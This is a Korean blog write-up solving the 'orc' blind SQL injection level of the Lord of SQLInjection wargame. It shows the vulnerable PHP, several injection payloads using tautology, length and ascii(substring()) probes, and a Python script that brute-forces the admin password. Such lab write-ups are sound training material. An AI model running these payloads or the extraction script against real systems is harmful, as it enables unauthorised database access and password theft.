프리미의 공간

[Lord of SQLInjection] orc 문제 풀이 본문

Security/Web

[Lord of SQLInjection] orc 문제 풀이

프리미_ 2021. 3. 12. 18:44

1. 접근하기

우선 php 소스코드부터 살펴보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

6번~9번 라인(첫번째 부분)을 통해서 한번, 11번~14번 라인(두번째 부분)에서 한번, 총 두번 쿼리를 실행하고 있다.

 

먼저 첫번째 부분인 6번~9번 라인을 살펴보자.

5번 라인을 통해 SQL injection이 가능하다는 것을 알 수 있고, 9번 라인을 통해 공격이 성공하면 <h2>Hello admin</h2>를 출력한다는 사실을 알 수 있다.

 

다음으로 두번째 부분인 11번~14번 라인을 살펴보자.

11번 라인에서, 첫번째 부분과 달리 addslashes 함수를 통해 싱글쿼터('), 더블쿼터("), 백슬래시(\), 널바이트(%00) 문자를 사용할 수 없다. 따라서 SQL injection이 아닌, pw를 직접 구해서 인자로 넘겨주는 수 밖에 없다는 사실을 알 수 있다.

이후 12번~13번 라인에서는 첫번째 부분과 동일하게 쿼리를 수행하며, 14번 라인을 통해, admin 계정의 pw가 인자로 들어올 시 solve("orc")가 수행되므로써 성공한다는 것을 알 수 있다.

 

정리하자면, 우리가 문제를 푸는 동안 알 수 있는 사실은 <h2>Hello admin</h2>가 출력되는지 여부이며, 이 여부에 의해 SQL injection을 수행하는, blind sql injection이 문제 풀이 방식이라는 사실을 유추할 수 있다.

 

2. 쿼리 작성하기

admin 계정의 패스워드(pw)의 값을 구하는 것이 관건이다. 패스워드를 구하는 과정은 다음과 같다.

0) SQL injection이 잘 작동하는지 확인한다.
1) 패스워드의 길이를 구한다.
2) 패스워드 각 자리의 문자를 구한다.

우선 SQL injection 테스트를 위해 이런 쿼리를 작성하였다.

pw=11' or 1=1 -- '

<h2>Hello admin</h2> 가 출력되며 잘 작동하는 모습을 볼 수 있다.

 

다음으로 pw의 길이를 구해야 한다. 다음과 같은 쿼리를 작성하여 길이를 구했다.

pw=11' or id='admin' and length(pw)>5 -- '

해당 쿼리가 성공하도록 길이 값을 조정해주며 알아낸다. 완성된 쿼리는 아래와 같다.

pw=11' or id='admin' and length(pw)=8 -- '

 

마지막으로 pw를 이루는 각 문자를 알아낸다. SQL구문 중 substring 함수를 이용하여 문자 하나를 잘라내고, ascii 함수를 이용하여 10진수의 아스키코드 값으로 변환시켰다. 쿼리는 아래와 같다.

pw=11' or id='admin' and ascii(substring(pw,1,1))=100 -- '

이 쿼리에서 100에 해당하는 값과, 자리수에 해당하는 값을 하나하나 수정해가며 각 자리수를 찾아내면 된다.

해당 과정을 파이썬 코드로 자동화한 것이 아래의 코드이다.

 

3. python을 이용한 자동화 스크립트 작성

# los.rubiya.kr orc
# Dohyun Kim 21.03.11

# this is test queries
'''
pw=11' or 1=1 -- '
pw=11' or id='admin' and length(pw)=8 -- '
pw=11' or id='admin' and ascii(substring(pw,1,1))<100 -- '
'''

import requests

cookies = {"PHPSESSID": "본인쿠키값"}

URL = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?"

query = "pw=11' or 1=1 -- '"

answer = ''

for idx in range(1, 9):
    for ascii_val in range(48,123):
        query = "pw=11' or id='admin' and ascii(substring(pw,{},{}))={} -- '".format(idx,idx,ascii_val)

        res = requests.get(URL + query, cookies=cookies)

        if -1 != res.text.find("<h2>Hello admin</h2>"): # if success
            print("[+] find {}-th char, {}".format(idx, chr(ascii_val)))
            answer += chr(ascii_val)
            break
    

 

requests 모듈 사용법은 구글링을 통해 알아내었으며, 로그인 정보에 해당하는 세션 값을 쿠키에 담지 않은 채 요청메시지를 서버로 보내면 응답하지 않는다. 따라서 쿠키에 세션값을 담아 요청 메시지를 던져야 한다.

 

마치며

처음에 이 문제를 풀기 위해 시도했을 때에는, 아래와 같이 쿼리를 짜서 입력했었다.

pw=11' or length(pw)=8 -- '

즉, admin 계정의 pw가 아닌 맨 처음 select 되는 (아마 테이블의 가장 위에 위치한 pw) pw를 구해버렸던 것이다.

해당 문제를 인지한 후, id='admin' 부분을 추가하여 쿼리를 수행하였더니 올바른 값을 구할 수 있었다.

다음부터는 같은 실수를 반복하지 않도록 주의해야겠다.

 

또한, blind sql injection 문제를 실제로 내 손으로 처음 푼 문제였는데, 이론적으로만 알고 있던 blind sql injection이라는 지식을 실제로 유추해내었을 때 생각보다 희열이 컸다. 앞으로도 CTF 문제를 풀며 많은 희열을 느낄 수 있을 듯 하다.

 

'Security > Web' 카테고리의 다른 글

[Root-me] XSS - Stored 2  (0) 2021.04.05
[Root Me] XSS - Stored 1 풀이  (0) 2021.03.22
[Dreamhack CTF] mongoboard 문제 풀이  (0) 2021.03.14